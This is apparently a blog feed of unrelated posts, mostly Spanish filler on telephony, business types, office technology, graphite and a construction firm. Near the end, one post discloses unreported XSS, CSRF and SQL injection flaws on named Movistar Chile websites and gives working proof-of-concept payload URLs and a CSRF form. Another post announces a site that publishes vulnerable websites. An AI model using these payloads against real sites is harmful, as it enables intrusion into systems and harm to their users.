Javajsp.net

Línea telefónica

admin — Thu, 09 Feb 2012 15:48:55 +0000

Hoy en día el mundo de la telefonía ha cambiando bastante, especialmente si pensamos en las nuevas tecnologías empleadas para los smart phones.
Hay muchos servicios a nuestro alcance, como las líneas telefónicas para varias compañías , la línea 902, las centralitas, todo parte de una oficina virtual, muy útil en nuestros días, cuando todo el mundo tiene mas y mas cosas pendientes en el trabajo.
Sabemos que una línea telefónica es un circuito de un sistema de comunicaciones por teléfono. Se refiere an un medio de transmisión de señales, como un cable que conecte el aparato telefónico a la red de telecomunicaciones. Existe un número de teléfono asociado a cada usuario, para poder facturar el servicio prestado.
Las primeras líneas telefónicas, al principio, en 1876, eran muy simples. Consistían de conductores metálicos directamente conectados de un teléfono an otro con la Tierra como toma de tierra. Después se inventaron las líneas bucle local.
Los cables eran de cobre y de aluminio y se llevaban de dos en dos, separados a 25 cm.
Ahora, las líneas modernas pueden ir bajo tierra an un convertor analógico-digital, que puede convertir la señal analógica en una señal digital para así poder transmitirla por fibra óptica y ser más seguros con las líneas.
La mayoría de nuestras casas tienen hecha la conexión mediante conductores de cobre.
Sabiendo un poco de las líneas telefónicas nos imaginamos que alta tecnología se está usando para los móviles. El mundo de los negocios como también los otros sectores de actividad se basa sobre todo en la innovación del hombre.

Tipos de empresas

admin — Thu, 02 Feb 2012 15:05:21 +0000

Sabemos mucho del mundo empresarial y como gestionar las finanzas para nuestra empresa. Antes de empezar un negocio es eficiente saber el tipo de empresa que vamos an abrir, las ventajas y desventajas de cada una y pensar si necesitamos una ayuda externa de otras empresas que ofrecen servicios, como el outsourcing que ofrece Avertia en España.
Las empresas son muy diferentes y se pueden clasificar de varias formas.
Si pensamos en la actividad que una empresa presta, esta puede ser del sector primario, secundario y terciario. Para entender mejor podemos hablar de empresas industriales, comerciales y de servicio, como Avertia.
La actividad de una empresa del sector industrial se concentra en la producción de bienes mediante la transformación de la materia o extracción de materias primas. Tenemos en este caso la empresa de la industrias extractivas: explotan los recursos naturales, como: las pesqueras, las madereras, las mineras, las petroleras etc.
Las empresas comerciales son intermediarias entre productor y consumidor y el propósito es de comprar y vender los productos. Algunas venden a gran escala, las que venden al por menor y por la ultimo las comisionistas, que venden de lo que no es suyo.
Las empresas que brindan un servicio a la comunidad se encuentran en diferentes sectores de las actividades: transporte, turismo, salud, finanzas (como Avertia), educación, servicios privados, servicios públicos e instituciones financieras.
Según la forma jurídica hay empresas individuales, sociedades y cooperativas. Las primeras pertenecen an una persona y esta puede tener responsabilidad limitad. Son las más pequeñas empresas. Las empresas societarias son constituidas por varias personas. Hay la sociedad anónima, la sociedad colectiva, la sociedad comanditaria, la sociedad de responsabilidad limitada y las sociedades por acciones simplificadas SAS.
Dependiendo del tamaño, las empresas se pueden clasificar en: micro empresa (con menos de 10 trabajadores), pequeña empresa (con un numero entre 11 y 49 empleados), mediana empresa (tiene entre 50 y 250 trabajadores) y la gran empresa, con más de 250 empleados.
Las empresas pueden ser locales, ocupándose de una región geográfica determinada, como una localidad, las empresas nacionales, que actúan solamente en un país y las empresas internacionales o las multinacionales, que tienen oficinas en más de un país.
La empresa líder marca el precio, las innovaciones y esta imitada por las demás empresas.
El mundo empresarial es muy diversificado y es siempre mejor saber lo más que podemos antes de invertir o simplemente trabajar en una empresa.

La alfabetizacion informatica y las ofertas ordenadores portatiles

admin — Wed, 25 Jan 2012 13:54:59 +0000

Unos de los conceptos mas conocidos de la nuestra epoca es la alfabetizacion informatica y se refiere al conjunto de tareas e iniciativas que tienen como objetivo incluir, en la Sociedad del Conocimiento, los sectores marginados de la misma por razones economicas, sociales y/o culturales. Es decir todas las personas, los ninos y las personas mayores incluidos, deberian saber utilizar un ordenador.

La alfabetizacion informatica no es un capricho, sino una necesidad en nuestra Sociedad del Conocimiento, donde un gran parte de la informacion mas importante del mundo se guarda en ordenadores.
Otro aspecto importante es que el acceso a la informacion, a los ordenadores y al mundo informatico es mucho mas facil y mas barato que por ejemplo hace unos diez anos. Los precios han bajado mucho y hay muchas ofertas ordenadores portatiles.

La definicion fue introducida por primera vez en el ano 2003 por la asociacion civil Infoworkers Trabajadores de la Informacion de Argentina, que tambien ha ofrecido una definicion del conjunto de destrezas que debe poseer una persona para ser considerada una alfabetizada informatica:

-Capacidad de recibir y enviar mensajes a traves del correo electronico .
-Capacidad de acceder an Internet utilizando computadoras conectadas en red .
-Capacidad de redactar un texto simple utilizando un procesador de textos .
-Capacidad de disenar y/ o utilizar bases de datos.
-Capacidad de utilizar planillas de calculo.
-Capacidad de acceder a sitios web .
-Capacidad de gestionar ante organismos de interes publico utilizando Internet.
-Capacidad de incorporar produccion propia an Internet.
-Conocimientos suficientes para tomar de y enviar informacion a los medios masivos de comunicacion a traves de Internet.

-Apropiacion de terminos que facilitan la comunicacion con otros sectores sociales.
El objetivo de llegar an un gran nivel de alfabetizacion informatica es alcanzable, ya que hay ahora tantas ventajas en el mercado. Puedes comprar tablet pc, o discos duros externos baratos, y encontrar alli y guardar todas las informaciones que necesitas

Telefonía especial

admin — Thu, 19 Jan 2012 12:25:41 +0000

Vivimos en la época donde los ordenadores están controlando casi todo y no podemos desarrollar nada en los negocios sin la ayuda del internet y los servicios relacionados con el mundo virtual.
Ahora tenemos una oficina virtual, con todo lo que es necesario para una oficina física, números virtuales, como la línea 902, centralitas, enviar fax internet etc.
Las oficinas virtuales ayudan a prestar un servicio a los clientes, ya sean ellos empresas multinacionales, medianas, pequeñas etc.
Existen algunas empresas, que ofrecen servicios como un centro de negocios: es una oferta de oficinas virtuales con el único propósito de minimizar los costes de una empresa multinacional por ejemplo, u otros tipos de empresa, emprendedores y autónomos. En esta situación se reducen todos los gastos de una oficina física.
Es el método ideal especialmente para las nuevas empresas que se quieren concentrar an un territorio concreto.
Los números de tarificación especial son usados más y mas cada día, empezando con las empresas en sus tareas diarias y terminando con otros organismos, multinacionales etc.
En nuestro país los teléfonos con tarifas especiales tienen los prefijos 800 y 90x y también con 700. Para los números 800 y 900 las llamadas son gratuitas para el que llama, y el coste esta pagado por el propietario de la línea.
Con la línea 902 tienes un coste intermedio entre una llamada local y una llamada provincial. Los números 908 y 909 son con acceso an internet, el primero factura el operador de acceso, el segundo no factura el operador de acceso.
El mas revolucionario es el fax virtual, enviar y recibir sus propios fax a través del internet. Este método de fax internet reduce los costes y el tiempo necesario para esta tarea y tiene muchas ventajas que las empresas toman en cuenta a la hora de abrir una oficina.
Las empresas siempre pensaran en reducir costes, tiempo, mantenimiento, recursos humanos y físicos y por eso piensan en las oficinas virtuales.

Tecnología para nuestra oficina y nuestra casa

admin — Mon, 16 Jan 2012 13:24:00 +0000

Que tiene en común unas pizarras digitales, un sistema de videovigilancia y unas centralitas? Son elementos que ayudan en nuestras vidas, tanto en el puesto de trabajo, como en la casa, en la escuela para protegernos, comunicar con la gente y mejorar nuestro estilo de vida.
Vivimos en una era de la tecnología cuando todo está al alcance de cualquiera de nosotros y las herramientas tecnológicas son mejores cada día.
En las escuelas si antes se utilizaban las pizarras clásicas, ahora las pizarras digitales son mejores. Se utiliza para las adnotaciones sobre una imagen, también para guardarlas, imprimirlas, enviarlas por correo electrónico y después poder exportarlos a diversos formatos. La pizarra digital te ayuda a controlar el ordenador mediante un bolígrafo, el dedo u otro dispositivo. La combinación de un monitor y una tableta ha resultado en el tablet monitor, que es diferente an un Tablet-PC, porque el periférico desde el que se realiza el control del ordenador es un monitor especial y que por supuesto se puede conectar a cualquier ordenador y en este caso se conecta an un video proyector, por lo cual, la imagen de la pantalla se proyecta sobre cualquier superficie de proyección.
Las centralitas también han evolucionado. Las céntralas telefónicas pueden ser públicas o privadas.
El sistema de las telecomunicaciones ha cambiado muchos en los últimos años, ahora siendo bastante fácil todo en tu móvil, realizar todo por teléfono y a través del internet y lo más sencillo posible.
Si pensamos en la videovigilancia IP tenemos que pensar en las cámaras CCTV y las ventajas digitales de las redes de comunicación IP y estas dos combinadas Las aplicaciones prácticas son en la detección de intrusos en espacios (oficinas, centros comerciales, parkings públicos etc.)
La más buena aplicación de la videovigilancia es en el tráfico, reduciendo los accidentes, la criminalidad etc.
Es importante estar al tanto con la evolución de la tecnología, para poder aprovechar de las ventajas que nos aporta.

Armacentro

admin — Wed, 21 Dec 2011 15:13:06 +0000

Hay un grupo de empresas Armacentro que se encarga en España de la ejecución de proyectos grandes de construcción como autovías, líneas de alta velocidad, soterramientos, línea de metro, torres, centros comerciales, viviendas, hospitales, aeropuertos, obras hidráulicas, obras marítimas y por lo cual es la empresa principal en este sector laboral.
La empresa se preocupa tanto por la satisfacción del cliente, ofrecer servicios de alta calidad como también por los empleados y el bienestar de ellos.
En Armacentro, se optimiza el diseño de cada proyecto en parte, mediante propuestas equivalentes de armado.
Los productos innovadores de Armacentro, se fabrican con acero comercial que tiene una alta calidad. Y en la fabricación industrial se utilizan métodos muy avanzados para garantizar la calidad y evitar errores. Las armaduras industriales son también adaptadas a cada tipo de proyecto.
Armacentro tiene la posibilidad de reducir los costes totales de los proyectos entre 3% y 19%, según la Instrucción EHE.
La compañía Armacentro asegura la calidad del producto según las normas de obligado cumplimiento para armaduras
Lo mas importante factor de tener en cuenta es la reducción de los plazos de ejecución, porque hoy en dia, hay varias obras que no finalizan a tiempo y tardan años en entregar el edificio.
Se pueden ver todos los productos en catalogo personalizado para cada necesidad. En los últimos años Armacentro realizo mas de 80% obra civil y el resto en edificación comercial y por lo ultimo edificación residencial.
En su web se pueden ver todas las obras finalizadas en los últimos años, los nuevos proyectos, contactar con los profesionales que trabajan en Armacentro.

Hydraulique

admin — Fri, 05 Aug 2011 07:18:36 +0000

La côte est le part d’un continent qui délimite la mer, qui est aussi appelé littorale. Les eaux qui sont utilisées dans les industries sont traitées par divers procédés qui sont utilises des systèmes spéciaux.

Allons essayer d’apprendre quelques concepts importants pour savent les dangers qui menace la côte, les méthodes de protection et des systèmes de traitement de l’eau.

La bathymétrie est l’étude des profondeurs marines sur le lac ou les planchers océaniques. Originalment, elle impliqués la mesure de la profondeur de l’océan grâce à la profondeur de sondage. Professions ou des carrières liées à la bathymétrie inclure l’étude des océans et des roches et des minéraux sur le plancher océanique, et l’étude des séismes sous-marins ou les volcans. Cette chose implique aussi la ingenierie marine, qui est la conception, la construction, la machinerie d’installation, l’exploitation et la maintenance de centrales principales, ainsi que les auxiliaires et équipements associés, pour la propulsion des navires.

La evaluation de l’impact environnemental est nécessaire et obligatoires pour les grandes projets et elle est habitúele d ´être assortie de mesures d’atténuation ou de conservation ou de restauration. Faire des etudes portuaires est tres habitúele maintenant, parce que il est nécessaire avoir connaissance sur les problèmes qui peuvent intervenir.
Dans le but de résoudre les problèmes qui peuvent entraver ont peut faire une consultation en environnement, représentant la spécialité qui se consacre à fournir de soutien pour toutes questions relatives à l’environnement n’importe quelle entreprise évaluer les impacts environnementaux potentiels des actions qui peuvent se produire.

Il est essentiel pour ces types d’études avant toute autres action dans les eaux.

Los usos del grafito

admin — Fri, 29 Jul 2011 09:26:00 +0000

Los elementos quimicos son mas que simples abstracciones sobre los que aprendemos en la escuela. Forman parte de todo lo que nos rodea y sin ellos no habria vida.

El grafito es una de las formas alotropicas en las que se puede presentar el carbono junto al diamante y los nanotubos. A presion atmosferica y temperatura ambiente es mas estable el grafito que el diamante, sin embargo la descomposicion del diamante es tan extremadamente lenta que solo es apreciable a escala geologica

El grafito se encuentra en yacimientos naturales y se puede extraer, pero tambien se produce artificialmente. El principal productor mundial de grafito es China, seguido de India y Brasil.

El grafito es un mineral y se emplea en ladrillos, crisoles. Se utiliza en la fabricacion de diversas piezas en ingenieria, como pistones, juntas, arandelas, rodamientos .Este material es conductor de la electricidad y se usa para fabricar electrodos. Tambien tiene otras aplicaciones electricas. El grafito mezclado con una pasta sirve para fabricar lapices.

Multiple XSS+CSRF encontrados en sitio web de Movistar Chile

admin — Tue, 26 Apr 2011 05:47:59 +0000

Reportamos en Secureless una serie de vulnerabilidades XSS y CSRF que afectan al sitio web de Movistar y a sitios relacionados a la empresa. Los sitios afectados son:

Las vulnerabilidades detectadas nuevamente ponen en riesgo la seguridad del usuario aprovechandose de la confianza que existe desde el usuario hacia el sitio y viceversa.
El estado de estas vulnerabilidades es hasta ahora “Sin Reportar”, ya que por más que buscamos en el sitio web y tambien ayudandonos con google, no pudimos encontrar ningún formulario ni correo de contacto sin que nos pidiera registrarnos o ser clientes. Sólo lo reportamos vía twitter haciendo un reply a la cuenta de @MovistarChile.

XSS en Movistar.cl:

URL: http://www.movistar.cl/PortalMovistarWeb/appmanager/Porta%3Cscript%3Ealert(/xss/)%3C/script%3EalMovistar/portal?_nfpb=true&_pageLabel
Error: Al generar un error404, el sitio no está validando los parametros pasados, por lo que si intentamos entrar a un sitio con un nombre como el ejemplo de más arriba, lo interpreta.

XSS (2) en Movistar.cl

URL: http://www.movistar.cl/PortalMovistarWeb/appmanager/PortalMovistar/portal?_nfpb=true&_pageLabel=P12200150661236808023656&q=%22;%3C/script%3E%3Cscript%3Ealert(/xss/)%3C/script%3E
Error: No valida las variables de entrada. En este caso permite inyectar codigo htm/javascript en la variable “q” pasada por GET o por POST mediante el formulario de búsqueda.

CSRF en Movistar.cl

El mismo formulario de búsqueda permite realizar peticiones GET y POST desde otros sitios, sin utilizar ningún tipo de validación ni token anti_csrf.
Por ejemplo, con este código HTML:

id=”cse-search-box” method=”post” style=”margin-top: 7px; margin-right: 2px”>
href=”http://anonymouse.org/cgi-bin/anon-www.cgi/http://www.movistar.cl/PortalMovistarWeb/appmanager/PortalMovistar/portal?_nfpb=true&_pageLabel=P12200150661236808023656&q=aaaaaaa%22;%20asasasasa#”
id=”btn_buscadorMovistar” target=”_parent”>a

Si buscamos el string “; nos aparecerá el alert javascript.

CSRF en MCloud.cl

URL: https://www.mcloud.cl/cp/ps/Main/login/Authenticate
Error: Es posible realizar un login de forma remota o enviar parametros al servidor desde un formulario externo al sitio mcloud.cl, sin utilizar ningún tipo de validación ni token anti_csrf.

SQL Injectoin en 188.cl

URL: http://www.188.cl/?area=%27having%201=1–
Error: Simplemente no validan ni escapan los valores pasados por GET a la variable “area”

Links

- Unreported XSS in Movistar.cl
- Unreported XSS+CSRF in Movistar.cl
- Unreported SQL Injection in 188.cl
- Unreported XSRF in mcloud.cl

Compartir/Guardar

El rincón de Zerial

Secureless.org: Repositorio de vulnerabilidades web

admin — Mon, 25 Apr 2011 23:49:23 +0000

Como proyecto del hacklab, nace “Secureless“, un sitio web que busca centralizar y almacenar una base de datos de sitios web vulnerables con las tipicas vulnerabilidades como XSS, SQL-I, etc.

Secureless nace simplemente de la necesidad de investigar y aprender aun mas sobre este tipo de vulnerabilidades y seguridad en la web. Aunque a muchos no les parezca lo correcto, con el tiempo nos hemos dado cuenta que las fallas se corrigen mucho mas rapido cuando son publicadas y creemos que de esta forma podemos ayudar a que los sitios sean más seguros.

Lo que buscamos en esta version es explorar un poco más en el mundo de la (in) seguridad en aplicaciones web. En esta primera version agregamos la posibilidad de que la gente pueda reportarnos mediante un mensaje cifrado sitios vulnerables y de esta forma poder contribuir de forma “segura” a este proyecto, aunque la mayoría (99%) de los sitios publicados son producto de nuestra propia invesgitacion, agradecemos a quienes nos apoyan y nos envian información al respecto.

Como primera anecdota, tuvimos el caso de NIC Chile quien fue notificado al mismo tiempo de publicar la vulnerabilidad en Secureless, quienes resolvieron el problema en menos de 20 minutos. La vulnerabilidad que afectaba a NIC Chile era de tipo XSS en uno de sus scripts cgi.

Ya estamos planificando noches de “hacking” para dedicarnos a seguir publicando sitios importantes con fallas de seguridad.

Links:

- Twitter @secureless

- Secureless.org

Compartir/Guardar

El rincón de Zerial